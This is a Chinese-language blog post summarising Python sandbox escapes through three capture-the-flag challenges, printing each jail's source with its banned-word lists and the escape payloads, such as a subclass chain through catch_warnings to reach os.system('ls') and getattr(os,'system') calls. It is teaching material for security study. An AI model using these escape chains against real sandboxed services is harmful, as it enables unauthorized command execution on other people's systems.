python沙箱逃逸小结

Posted 2020-10-26

　
上周末，协会的同学去天津交流，天津大学的同学讲了一个python沙箱逃逸的案例。今天结合之前的所学和比赛经验写一个小结。

　

案例1

　
这是hackuctf 2012的一道题

1.  def make_secure():  
2.      UNSAFE = [‘open‘,  
3.                ‘file‘,  
4.                ‘execfile‘,  
5.                ‘compile‘,  
6.                ‘reload‘,  
7.                ‘__import__‘,  
8.                ‘eval‘,  
9.                ‘input‘]  
10.     for func in UNSAFE:  
11.         del __builtins__.__dict__[func]  
12.   
13. from re import findall  
14.   
15. # Remove dangerous builtins  
16. make_secure()  
17.   
18. print ‘Go Ahead, Expoit me >;D‘  
19. while True:  
20.     try:  
21.         print ">>>",  
22.         # Read user input until the first whitespace character  
23.         inp = findall(‘\S+‘, raw_input())[0]  
24.         a = None  
25.         # Set a to the result from executing the user input  
26.         exec ‘a=‘ + inp  
27.         print ‘>>>‘, a  
28.     except Exception, e:  
29.         print ‘Exception:‘, e  

下面是脚本运行的效果。
　

　
效果相当于python的命令界面，我们的目标是读取当前目录下的flag文件。
如果题目没有任何的过滤，读取的命令如下，导入os包，然后直接执行命令。
　

　
但是直接导入os会报错，如下图
　

　
因为 del 命令删除了对应的命令，如下图
　

　
看了Ned Batchelder的分享后学到了新知识。我们可以用file对象read文件
下面是元类和元类型详细信息，元组，子对象
　

　
由于file在索引40，我们可以硬编码。如下图
　

　
用file类型读取flag文件。
　

　

案例2

1.  #!/usr/bin/env python   
2.  from __future__ import print_function  
3.     
4.  print("Welcome to my Python sandbox! Enter commands below!")  
5.     
6.  banned = [    
7.      "import",  
8.      "exec",  
9.      "eval",  
10.     "pickle",  
11.     "os",  
12.     "subprocess",  
13.     "kevin sucks",  
14.     "input",  
15.     "banned",  
16.     "cry sum more",  
17.     "sys"  
18. ]  
19.    
20. targets = __builtins__.__dict__.keys()    
21. targets.remove(‘raw_input‘)    
22. targets.remove(‘print‘)    
23. for x in targets:    
24.     del __builtins__.__dict__[x]  
25.    
26. while 1:    
27.     print(">>>", end=‘ ‘)  
28.     data = raw_input()  
29.    
30.     for no in banned:  
31.         if no.lower() in data.lower():  
32.             print("No bueno")  
33.             break  
34.     else: # this means nobreak  
35.         exec data  

相对于第一题，第二题是没有直接的回显。
我们可以用catch_warnings类（索引在59），进行命令执行。

1.  ().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals[‘linecache‘].__dict__[‘o‘+‘s‘].__dict__[‘sy‘+‘stem‘](‘ls‘)

　

　

案例3

1.  # -*-coding:utf-8-*-  
2.    
3.  #!/usr/bin/python3  
4.  import sys, cmd, os  
5.    
6.  del __builtins__.__dict__[‘__import__‘]  
7.  del __builtins__.__dict__[‘eval‘]  
8.    
9.  intro = """ 
10. pwnhub cuit 
11. pwn everything 
12. Rules: 
13.     -No import 
14.     -No ... 
15.     -No flag 
16.  
17. """  
18.   
19. def execute(command):  
20.        exec(command, globals())  
21.   
22. class Jail(cmd.Cmd):  
23.     prompt     = ‘>>> ‘  
24.     filtered    = ‘\‘|.|input|if|else|eval|exit|import|quit|exec|code|const|vars|str|chr|ord|local|global|join|format|replace|translate|try|except|with|content|frame|back‘.split(‘|‘)  
25.   
26.     def do_EOF(self, line):  
27.         sys.exit()  
28.   
29.     def emptyline(self):  
30.         return cmd.Cmd.emptyline(self)  
31.   
32.     def default(self, line):  
33.         sys.stdout.write(‘\x00‘)  
34.   
35.     def postcmd(self, stop, line):  
36.         if any(f in line for f in self.filtered):  
37.             print("You are a big hacker !!!")  
38.             print("Go away")  
39.         else:  
40.            try:  
41.                 execute(line)  
42.            except NameError:  
43.                 print("NameError: name ‘%s‘ is not defined" % line)  
44.            except Exception:  
45.                 print("Error: %s" % line)  
46.         return cmd.Cmd.postcmd(self, stop, line)  
47.   
48. if __name__ == "__main__":  
49.     try:  
50.         Jail().cmdloop(intro)  
51.     except KeyboardInterrupt:  
52.         print("\rSee you next time !")  

这题是cuit2017的题目，python3环境
这里主要过滤了大量的字符，包括1，2题所用的点号。

1.  print(getattr(os, "system")  

获取system函数地址，

1.  print(getattr(os, "system")("ls"))  

执行system(“ls”)
下面是获取flag的姿势
　

　
以上都是利用Python作为脚本语言的特性来逃逸，但是还有一种高深的基于c源码的逃逸，简单点就是用c程序的漏洞实现漏洞，类似于PWN。最后也提供了参考链接，欢迎一起交流学习。
　
参考链接
http://bobao.360.cn/learning/detail/3542.html
http://www.cnblogs.com/Chesky/archive/2017/03/15/Python_sandbox.html
http://bobao.360.cn/learning/detail/4059.html